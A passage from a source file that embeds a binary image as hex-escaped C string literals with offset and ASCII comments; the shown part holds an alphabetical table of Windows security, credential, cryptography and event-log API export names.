//nvertSecurityDes\n/* 004460 */   \"\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\"   //criptorToStringS\n/* 004480 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\"   //ecurityDescripto\n/* 0044A0 */   \"\\x72\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x65\\x63\\x75\\x72\\x69\"   //rA.ConvertSecuri\n/* 0044C0 */   \"\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x54\\x6F\\x53\\x74\"   //tyDescriptorToSt\n/* 0044E0 */   \"\\x72\\x69\\x6E\\x67\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\"   //ringSecurityDesc\n/* 004500 */   \"\\x72\\x69\\x70\\x74\\x6F\\x72\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\"   //riptorW.ConvertS\n/* 004520 */   \"\\x69\\x64\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x69\\x64\\x41\\x00\\x43\"   //idToStringSidA.C\n/* 004540 */   \"\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x69\\x64\\x54\\x6F\\x53\\x74\\x72\\x69\\x6E\"   //onvertSidToStrin\n/* 004560 */   \"\\x67\\x53\\x69\\x64\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x74\\x72\"   //gSidW.ConvertStr\n/* 004580 */   \"\\x69\\x6E\\x67\\x53\\x44\\x54\\x6F\\x53\\x44\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x41\"   //ingSDToSDDomainA\n/* 0045A0 */   \"\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x44\"   //.ConvertStringSD\n/* 0045C0 */   \"\\x54\\x6F\\x53\\x44\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x57\\x00\\x43\\x6F\\x6E\\x76\"   //ToSDDomainW.Conv\n/* 0045E0 */   \"\\x65\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x44\\x54\\x6F\\x53\\x44\\x52\"   //ertStringSDToSDR\n/* 004600 */   \"\\x6F\\x6F\\x74\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\"   //ootDomainA.Conve\n/* 004620 */   \"\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x44\\x54\\x6F\\x53\\x44\\x52\\x6F\"   //rtStringSDToSDRo\n/* 004640 */   \"\\x6F\\x74\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\"   //otDomainW.Conver\n/* 004660 */   \"\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\"   //tStringSecurityD\n/* 004680 */   \"\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x54\\x6F\\x53\\x65\\x63\\x75\\x72\"   //escriptorToSecur\n/* 0046A0 */   \"\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x41\\x00\\x43\"   //ityDescriptorA.C\n/* 0046C0 */   \"\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x65\\x63\\x75\"   //onvertStringSecu\n/* 0046E0 */   \"\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\\x6F\\x72\\x54\\x6F\"   //rityDescriptorTo\n/* 004700 */   \"\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x44\\x65\\x73\\x63\\x72\\x69\\x70\\x74\"   //SecurityDescript\n/* 004720 */   \"\\x6F\\x72\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\"   //orW.ConvertStrin\n/* 004740 */   \"\\x67\\x53\\x69\\x64\\x54\\x6F\\x53\\x69\\x64\\x41\\x00\\x43\\x6F\\x6E\\x76\\x65\"   //gSidToSidA.Conve\n/* 004760 */   \"\\x72\\x74\\x53\\x74\\x72\\x69\\x6E\\x67\\x53\\x69\\x64\\x54\\x6F\\x53\\x69\\x64\"   //rtStringSidToSid\n/* 004780 */   \"\\x57\\x00\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x54\\x6F\\x41\\x75\\x74\\x6F\\x49\"   //W.ConvertToAutoI\n/* 0047A0 */   \"\\x6E\\x68\\x65\\x72\\x69\\x74\\x50\\x72\\x69\\x76\\x61\\x74\\x65\\x4F\\x62\\x6A\"   //nheritPrivateObj\n/* 0047C0 */   \"\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x43\\x6F\\x70\\x79\"   //ectSecurity.Copy\n/* 0047E0 */   \"\\x53\\x69\\x64\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x43\\x6F\\x64\\x65\\x41\\x75\"   //Sid.CreateCodeAu\n/* 004800 */   \"\\x74\\x68\\x7A\\x4C\\x65\\x76\\x65\\x6C\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\"   //thzLevel.CreateP\n/* 004820 */   \"\\x72\\x69\\x76\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\"   //rivateObjectSecu\n/* 004840 */   \"\\x72\\x69\\x74\\x79\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x69\\x76\\x61\"   //rity.CreatePriva\n/* 004860 */   \"\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\"   //teObjectSecurity\n/* 004880 */   \"\\x45\\x78\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x69\\x76\\x61\\x74\\x65\"   //Ex.CreatePrivate\n/* 0048A0 */   \"\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x57\\x69\"   //ObjectSecurityWi\n/* 0048C0 */   \"\\x74\\x68\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x49\\x6E\\x68\\x65\\x72\\x69\"   //thMultipleInheri\n/* 0048E0 */   \"\\x74\\x61\\x6E\\x63\\x65\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\"   //tance.CreateProc\n/* 004900 */   \"\\x65\\x73\\x73\\x41\\x73\\x55\\x73\\x65\\x72\\x41\\x00\\x43\\x72\\x65\\x61\\x74\"   //essAsUserA.Creat\n/* 004920 */   \"\\x65\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x41\\x73\\x55\\x73\\x65\\x72\\x53\\x65\"   //eProcessAsUserSe\n/* 004940 */   \"\\x63\\x75\\x72\\x65\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x50\\x72\\x6F\\x63\\x65\"   //cure.CreateProce\n/* 004960 */   \"\\x73\\x73\\x41\\x73\\x55\\x73\\x65\\x72\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\"   //ssAsUserW.Create\n/* 004980 */   \"\\x50\\x72\\x6F\\x63\\x65\\x73\\x73\\x57\\x69\\x74\\x68\\x4C\\x6F\\x67\\x6F\\x6E\"   //ProcessWithLogon\n/* 0049A0 */   \"\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x52\\x65\\x73\\x74\\x72\\x69\\x63\\x74\"   //W.CreateRestrict\n/* 0049C0 */   \"\\x65\\x64\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\"   //edToken.CreateSe\n/* 0049E0 */   \"\\x72\\x76\\x69\\x63\\x65\\x41\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x53\\x65\\x72\"   //rviceA.CreateSer\n/* 004A00 */   \"\\x76\\x69\\x63\\x65\\x57\\x00\\x43\\x72\\x65\\x61\\x74\\x65\\x54\\x72\\x61\\x63\"   //viceW.CreateTrac\n/* 004A20 */   \"\\x65\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x49\\x64\\x00\\x43\\x72\\x65\\x61\"   //eInstanceId.Crea\n/* 004A40 */   \"\\x74\\x65\\x57\\x65\\x6C\\x6C\\x4B\\x6E\\x6F\\x77\\x6E\\x53\\x69\\x64\\x00\\x43\"   //teWellKnownSid.C\n/* 004A60 */   \"\\x72\\x65\\x64\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\\x00\\x43\\x72\\x65\\x64\\x44\"   //redDeleteA.CredD\n/* 004A80 */   \"\\x65\\x6C\\x65\\x74\\x65\\x57\\x00\\x43\\x72\\x65\\x64\\x45\\x6E\\x75\\x6D\\x65\"   //eleteW.CredEnume\n/* 004AA0 */   \"\\x72\\x61\\x74\\x65\\x41\\x00\\x43\\x72\\x65\\x64\\x45\\x6E\\x75\\x6D\\x65\\x72\"   //rateA.CredEnumer\n/* 004AC0 */   \"\\x61\\x74\\x65\\x57\\x00\\x43\\x72\\x65\\x64\\x46\\x72\\x65\\x65\\x00\\x43\\x72\"   //ateW.CredFree.Cr\n/* 004AE0 */   \"\\x65\\x64\\x47\\x65\\x74\\x53\\x65\\x73\\x73\\x69\\x6F\\x6E\\x54\\x79\\x70\\x65\"   //edGetSessionType\n/* 004B00 */   \"\\x73\\x00\\x43\\x72\\x65\\x64\\x47\\x65\\x74\\x54\\x61\\x72\\x67\\x65\\x74\\x49\"   //s.CredGetTargetI\n/* 004B20 */   \"\\x6E\\x66\\x6F\\x41\\x00\\x43\\x72\\x65\\x64\\x47\\x65\\x74\\x54\\x61\\x72\\x67\"   //nfoA.CredGetTarg\n/* 004B40 */   \"\\x65\\x74\\x49\\x6E\\x66\\x6F\\x57\\x00\\x43\\x72\\x65\\x64\\x49\\x73\\x4D\\x61\"   //etInfoW.CredIsMa\n/* 004B60 */   \"\\x72\\x73\\x68\\x61\\x6C\\x65\\x64\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\"   //rshaledCredentia\n/* 004B80 */   \"\\x6C\\x41\\x00\\x43\\x72\\x65\\x64\\x49\\x73\\x4D\\x61\\x72\\x73\\x68\\x61\\x6C\"   //lA.CredIsMarshal\n/* 004BA0 */   \"\\x65\\x64\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\\x57\\x00\\x43\\x72\"   //edCredentialW.Cr\n/* 004BC0 */   \"\\x65\\x64\\x4D\\x61\\x72\\x73\\x68\\x61\\x6C\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\"   //edMarshalCredent\n/* 004BE0 */   \"\\x69\\x61\\x6C\\x41\\x00\\x43\\x72\\x65\\x64\\x4D\\x61\\x72\\x73\\x68\\x61\\x6C\"   //ialA.CredMarshal\n/* 004C00 */   \"\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\\x57\\x00\\x43\\x72\\x65\\x64\"   //CredentialW.Cred\n/* 004C20 */   \"\\x50\\x72\\x6F\\x66\\x69\\x6C\\x65\\x4C\\x6F\\x61\\x64\\x65\\x64\\x00\\x43\\x72\"   //ProfileLoaded.Cr\n/* 004C40 */   \"\\x65\\x64\\x52\\x65\\x61\\x64\\x41\\x00\\x43\\x72\\x65\\x64\\x52\\x65\\x61\\x64\"   //edReadA.CredRead\n/* 004C60 */   \"\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\"   //DomainCredential\n/* 004C80 */   \"\\x73\\x41\\x00\\x43\\x72\\x65\\x64\\x52\\x65\\x61\\x64\\x44\\x6F\\x6D\\x61\\x69\"   //sA.CredReadDomai\n/* 004CA0 */   \"\\x6E\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\\x73\\x57\\x00\\x43\\x72\"   //nCredentialsW.Cr\n/* 004CC0 */   \"\\x65\\x64\\x52\\x65\\x61\\x64\\x57\\x00\\x43\\x72\\x65\\x64\\x52\\x65\\x6E\\x61\"   //edReadW.CredRena\n/* 004CE0 */   \"\\x6D\\x65\\x41\\x00\\x43\\x72\\x65\\x64\\x52\\x65\\x6E\\x61\\x6D\\x65\\x57\\x00\"   //meA.CredRenameW.\n/* 004D00 */   \"\\x43\\x72\\x65\\x64\\x55\\x6E\\x6D\\x61\\x72\\x73\\x68\\x61\\x6C\\x43\\x72\\x65\"   //CredUnmarshalCre\n/* 004D20 */   \"\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\\x41\\x00\\x43\\x72\\x65\\x64\\x55\\x6E\\x6D\"   //dentialA.CredUnm\n/* 004D40 */   \"\\x61\\x72\\x73\\x68\\x61\\x6C\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\"   //arshalCredential\n/* 004D60 */   \"\\x57\\x00\\x43\\x72\\x65\\x64\\x57\\x72\\x69\\x74\\x65\\x41\\x00\\x43\\x72\\x65\"   //W.CredWriteA.Cre\n/* 004D80 */   \"\\x64\\x57\\x72\\x69\\x74\\x65\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x43\\x72\\x65\\x64\"   //dWriteDomainCred\n/* 004DA0 */   \"\\x65\\x6E\\x74\\x69\\x61\\x6C\\x73\\x41\\x00\\x43\\x72\\x65\\x64\\x57\\x72\\x69\"   //entialsA.CredWri\n/* 004DC0 */   \"\\x74\\x65\\x44\\x6F\\x6D\\x61\\x69\\x6E\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\"   //teDomainCredenti\n/* 004DE0 */   \"\\x61\\x6C\\x73\\x57\\x00\\x43\\x72\\x65\\x64\\x57\\x72\\x69\\x74\\x65\\x57\\x00\"   //alsW.CredWriteW.\n/* 004E00 */   \"\\x43\\x72\\x65\\x64\\x70\\x43\\x6F\\x6E\\x76\\x65\\x72\\x74\\x43\\x72\\x65\\x64\"   //CredpConvertCred\n/* 004E20 */   \"\\x65\\x6E\\x74\\x69\\x61\\x6C\\x00\\x43\\x72\\x65\\x64\\x70\\x43\\x6F\\x6E\\x76\"   //ential.CredpConv\n/* 004E40 */   \"\\x65\\x72\\x74\\x54\\x61\\x72\\x67\\x65\\x74\\x49\\x6E\\x66\\x6F\\x00\\x43\\x72\"   //ertTargetInfo.Cr\n/* 004E60 */   \"\\x65\\x64\\x70\\x44\\x65\\x63\\x6F\\x64\\x65\\x43\\x72\\x65\\x64\\x65\\x6E\\x74\"   //edpDecodeCredent\n/* 004E80 */   \"\\x69\\x61\\x6C\\x00\\x43\\x72\\x65\\x64\\x70\\x45\\x6E\\x63\\x6F\\x64\\x65\\x43\"   //ial.CredpEncodeC\n/* 004EA0 */   \"\\x72\\x65\\x64\\x65\\x6E\\x74\\x69\\x61\\x6C\\x00\\x43\\x72\\x79\\x70\\x74\\x41\"   //redential.CryptA\n/* 004EC0 */   \"\\x63\\x71\\x75\\x69\\x72\\x65\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\\x41\\x00\\x43\"   //cquireContextA.C\n/* 004EE0 */   \"\\x72\\x79\\x70\\x74\\x41\\x63\\x71\\x75\\x69\\x72\\x65\\x43\\x6F\\x6E\\x74\\x65\"   //ryptAcquireConte\n/* 004F00 */   \"\\x78\\x74\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x43\\x6F\\x6E\\x74\\x65\\x78\\x74\"   //xtW.CryptContext\n/* 004F20 */   \"\\x41\\x64\\x64\\x52\\x65\\x66\\x00\\x43\\x72\\x79\\x70\\x74\\x43\\x72\\x65\\x61\"   //AddRef.CryptCrea\n/* 004F40 */   \"\\x74\\x65\\x48\\x61\\x73\\x68\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x65\\x63\\x72\"   //teHash.CryptDecr\n/* 004F60 */   \"\\x79\\x70\\x74\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x65\\x72\\x69\\x76\\x65\\x4B\"   //ypt.CryptDeriveK\n/* 004F80 */   \"\\x65\\x79\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x48\"   //ey.CryptDestroyH\n/* 004FA0 */   \"\\x61\\x73\\x68\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\"   //ash.CryptDestroy\n/* 004FC0 */   \"\\x4B\\x65\\x79\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\"   //Key.CryptDuplica\n/* 004FE0 */   \"\\x74\\x65\\x48\\x61\\x73\\x68\\x00\\x43\\x72\\x79\\x70\\x74\\x44\\x75\\x70\\x6C\"   //teHash.CryptDupl\n/* 005000 */   \"\\x69\\x63\\x61\\x74\\x65\\x4B\\x65\\x79\\x00\\x43\\x72\\x79\\x70\\x74\\x45\\x6E\"   //icateKey.CryptEn\n/* 005020 */   \"\\x63\\x72\\x79\\x70\\x74\\x00\\x43\\x72\\x79\\x70\\x74\\x45\\x6E\\x75\\x6D\\x50\"   //crypt.CryptEnumP\n/* 005040 */   \"\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x54\\x79\\x70\\x65\\x73\\x41\\x00\\x43\\x72\"   //roviderTypesA.Cr\n/* 005060 */   \"\\x79\\x70\\x74\\x45\\x6E\\x75\\x6D\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x54\"   //yptEnumProviderT\n/* 005080 */   \"\\x79\\x70\\x65\\x73\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x45\\x6E\\x75\\x6D\\x50\"   //ypesW.CryptEnumP\n/* 0050A0 */   \"\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x73\\x41\\x00\\x43\\x72\\x79\\x70\\x74\\x45\"   //rovidersA.CryptE\n/* 0050C0 */   \"\\x6E\\x75\\x6D\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x73\\x57\\x00\\x43\\x72\"   //numProvidersW.Cr\n/* 0050E0 */   \"\\x79\\x70\\x74\\x45\\x78\\x70\\x6F\\x72\\x74\\x4B\\x65\\x79\\x00\\x43\\x72\\x79\"   //yptExportKey.Cry\n/* 005100 */   \"\\x70\\x74\\x47\\x65\\x6E\\x4B\\x65\\x79\\x00\\x43\\x72\\x79\\x70\\x74\\x47\\x65\"   //ptGenKey.CryptGe\n/* 005120 */   \"\\x6E\\x52\\x61\\x6E\\x64\\x6F\\x6D\\x00\\x43\\x72\\x79\\x70\\x74\\x47\\x65\\x74\"   //nRandom.CryptGet\n/* 005140 */   \"\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x41\"   //DefaultProviderA\n/* 005160 */   \"\\x00\\x43\\x72\\x79\\x70\\x74\\x47\\x65\\x74\\x44\\x65\\x66\\x61\\x75\\x6C\\x74\"   //.CryptGetDefault\n/* 005180 */   \"\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x47\"   //ProviderW.CryptG\n/* 0051A0 */   \"\\x65\\x74\\x48\\x61\\x73\\x68\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\\x72\\x79\\x70\"   //etHashParam.Cryp\n/* 0051C0 */   \"\\x74\\x47\\x65\\x74\\x4B\\x65\\x79\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\\x72\\x79\"   //tGetKeyParam.Cry\n/* 0051E0 */   \"\\x70\\x74\\x47\\x65\\x74\\x50\\x72\\x6F\\x76\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\"   //ptGetProvParam.C\n/* 005200 */   \"\\x72\\x79\\x70\\x74\\x47\\x65\\x74\\x55\\x73\\x65\\x72\\x4B\\x65\\x79\\x00\\x43\"   //ryptGetUserKey.C\n/* 005220 */   \"\\x72\\x79\\x70\\x74\\x48\\x61\\x73\\x68\\x44\\x61\\x74\\x61\\x00\\x43\\x72\\x79\"   //ryptHashData.Cry\n/* 005240 */   \"\\x70\\x74\\x48\\x61\\x73\\x68\\x53\\x65\\x73\\x73\\x69\\x6F\\x6E\\x4B\\x65\\x79\"   //ptHashSessionKey\n/* 005260 */   \"\\x00\\x43\\x72\\x79\\x70\\x74\\x49\\x6D\\x70\\x6F\\x72\\x74\\x4B\\x65\\x79\\x00\"   //.CryptImportKey.\n/* 005280 */   \"\\x43\\x72\\x79\\x70\\x74\\x52\\x65\\x6C\\x65\\x61\\x73\\x65\\x43\\x6F\\x6E\\x74\"   //CryptReleaseCont\n/* 0052A0 */   \"\\x65\\x78\\x74\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x65\\x74\\x48\\x61\\x73\\x68\"   //ext.CryptSetHash\n/* 0052C0 */   \"\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x65\\x74\\x4B\\x65\"   //Param.CryptSetKe\n/* 0052E0 */   \"\\x79\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x65\\x74\\x50\"   //yParam.CryptSetP\n/* 005300 */   \"\\x72\\x6F\\x76\\x50\\x61\\x72\\x61\\x6D\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x65\"   //rovParam.CryptSe\n/* 005320 */   \"\\x74\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x41\\x00\\x43\\x72\\x79\\x70\\x74\"   //tProviderA.Crypt\n/* 005340 */   \"\\x53\\x65\\x74\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x45\\x78\\x41\\x00\\x43\"   //SetProviderExA.C\n/* 005360 */   \"\\x72\\x79\\x70\\x74\\x53\\x65\\x74\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x45\"   //ryptSetProviderE\n/* 005380 */   \"\\x78\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x65\\x74\\x50\\x72\\x6F\\x76\\x69\"   //xW.CryptSetProvi\n/* 0053A0 */   \"\\x64\\x65\\x72\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x69\\x67\\x6E\\x48\\x61\"   //derW.CryptSignHa\n/* 0053C0 */   \"\\x73\\x68\\x41\\x00\\x43\\x72\\x79\\x70\\x74\\x53\\x69\\x67\\x6E\\x48\\x61\\x73\"   //shA.CryptSignHas\n/* 0053E0 */   \"\\x68\\x57\\x00\\x43\\x72\\x79\\x70\\x74\\x56\\x65\\x72\\x69\\x66\\x79\\x53\\x69\"   //hW.CryptVerifySi\n/* 005400 */   \"\\x67\\x6E\\x61\\x74\\x75\\x72\\x65\\x41\\x00\\x43\\x72\\x79\\x70\\x74\\x56\\x65\"   //gnatureA.CryptVe\n/* 005420 */   \"\\x72\\x69\\x66\\x79\\x53\\x69\\x67\\x6E\\x61\\x74\\x75\\x72\\x65\\x57\\x00\\x44\"   //rifySignatureW.D\n/* 005440 */   \"\\x65\\x63\\x72\\x79\\x70\\x74\\x46\\x69\\x6C\\x65\\x41\\x00\\x44\\x65\\x63\\x72\"   //ecryptFileA.Decr\n/* 005460 */   \"\\x79\\x70\\x74\\x46\\x69\\x6C\\x65\\x57\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x41\"   //yptFileW.DeleteA\n/* 005480 */   \"\\x63\\x65\\x00\\x44\\x65\\x6C\\x65\\x74\\x65\\x53\\x65\\x72\\x76\\x69\\x63\\x65\"   //ce.DeleteService\n/* 0054A0 */   \"\\x00\\x44\\x65\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x45\\x76\\x65\\x6E\\x74\"   //.DeregisterEvent\n/* 0054C0 */   \"\\x53\\x6F\\x75\\x72\\x63\\x65\\x00\\x44\\x65\\x73\\x74\\x72\\x6F\\x79\\x50\\x72\"   //Source.DestroyPr\n/* 0054E0 */   \"\\x69\\x76\\x61\\x74\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\\x65\\x63\\x75\\x72\"   //ivateObjectSecur\n/* 005500 */   \"\\x69\\x74\\x79\\x00\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x45\\x6E\\x63\"   //ity.DuplicateEnc\n/* 005520 */   \"\\x72\\x79\\x70\\x74\\x69\\x6F\\x6E\\x49\\x6E\\x66\\x6F\\x46\\x69\\x6C\\x65\\x00\"   //ryptionInfoFile.\n/* 005540 */   \"\\x44\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x44\"   //DuplicateToken.D\n/* 005560 */   \"\\x75\\x70\\x6C\\x69\\x63\\x61\\x74\\x65\\x54\\x6F\\x6B\\x65\\x6E\\x45\\x78\\x00\"   //uplicateTokenEx.\n/* 005580 */   \"\\x45\\x6C\\x66\\x42\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\"   //ElfBackupEventLo\n/* 0055A0 */   \"\\x67\\x46\\x69\\x6C\\x65\\x41\\x00\\x45\\x6C\\x66\\x42\\x61\\x63\\x6B\\x75\\x70\"   //gFileA.ElfBackup\n/* 0055C0 */   \"\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x46\\x69\\x6C\\x65\\x57\\x00\\x45\\x6C\"   //EventLogFileW.El\n/* 0055E0 */   \"\\x66\\x43\\x68\\x61\\x6E\\x67\\x65\\x4E\\x6F\\x74\\x69\\x66\\x79\\x00\\x45\\x6C\"   //fChangeNotify.El\n/* 005600 */   \"\\x66\\x43\\x6C\\x65\\x61\\x72\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x46\\x69\"   //fClearEventLogFi\n/* 005620 */   \"\\x6C\\x65\\x41\\x00\\x45\\x6C\\x66\\x43\\x6C\\x65\\x61\\x72\\x45\\x76\\x65\\x6E\"   //leA.ElfClearEven\n/* 005640 */   \"\\x74\\x4C\\x6F\\x67\\x46\\x69\\x6C\\x65\\x57\\x00\\x45\\x6C\\x66\\x43\\x6C\\x6F\"   //tLogFileW.ElfClo\n/* 005660 */   \"\\x73\\x65\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x00\\x45\\x6C\\x66\\x44\\x65\"   //seEventLog.ElfDe\n/* 005680 */   \"\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x45\\x76\\x65\\x6E\\x74\\x53\\x6F\\x75\"   //registerEventSou\n/* 0056A0 */   \"\\x72\\x63\\x65\\x00\\x45\\x6C\\x66\\x46\\x6C\\x75\\x73\\x68\\x45\\x76\\x65\\x6E\"   //rce.ElfFlushEven\n/* 0056C0 */   \"\\x74\\x4C\\x6F\\x67\\x00\\x45\\x6C\\x66\\x4E\\x75\\x6D\\x62\\x65\\x72\\x4F\\x66\"   //tLog.ElfNumberOf\n/* 0056E0 */   \"\\x52\\x65\\x63\\x6F\\x72\\x64\\x73\\x00\\x45\\x6C\\x66\\x4F\\x6C\\x64\\x65\\x73\"   //Records.ElfOldes\n/* 005700 */   \"\\x74\\x52\\x65\\x63\\x6F\\x72\\x64\\x00\\x45\\x6C\\x66\\x4F\\x70\\x65\\x6E\\x42\"   //tRecord.ElfOpenB\n/* 005720 */   \"\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x45\"   //ackupEventLogA.E\n/* 005740 */   \"\\x6C\\x66\\x4F\\x70\\x65\\x6E\\x42\\x61\\x63\\x6B\\x75\\x70\\x45\\x76\\x65\\x6E\"   //lfOpenBackupEven\n/* 005760 */   \"\\x74\\x4C\\x6F\\x67\\x57\\x00\\x45\\x6C\\x66\\x4F\\x70\\x65\\x6E\\x45\\x76\\x65\"   //tLogW.ElfOpenEve\n/* 005780 */   \"\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x45\\x6C\\x66\\x4F\\x70\\x65\\x6E\\x45\\x76\"   //ntLogA.ElfOpenEv\n/* 0057A0 */   \"\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\\x00\\x45\\x6C\\x66\\x52\\x65\\x61\\x64\\x45\"   //entLogW.ElfReadE\n/* 0057C0 */   \"\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x41\\x00\\x45\\x6C\\x66\\x52\\x65\\x61\\x64\"   //ventLogA.ElfRead\n/* 0057E0 */   \"\\x45\\x76\\x65\\x6E\\x74\\x4C\\x6F\\x67\\x57\\x00\\x45\\x6C\\x66\\x52\\x65\\x67\"   //EventLogW.ElfReg\n/* 005800 */   \"\\x69\\x73\\x74\\x65\\x72\\x45\\x76\\x65\\x6E\\x74\\x53\\x6F\\x75\\x72\\x63\\x65\"   //isterEventSource\n/* 005820 */   \"\\x41\\x00\\x45\\x6C\\x66\\x52\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x45\\x76\\x65\"   //A.ElfRegisterEve\n/* 005840 */   \"\\x6E\\x74\\x53\\x6F\\x75\\x72\\x63\\x65\\x57\\x00\\x45\\x6C\\x66\\x52\\x65\\x70\"   //ntSourceW.ElfRep\n/* 005860 */   \"\\x6F\\x72\\x74\\x45\\x76\\x65\\x6E\\x74\\x41\\x00\\x45\\x6C\\x66\\x52\\x65\\x70\"   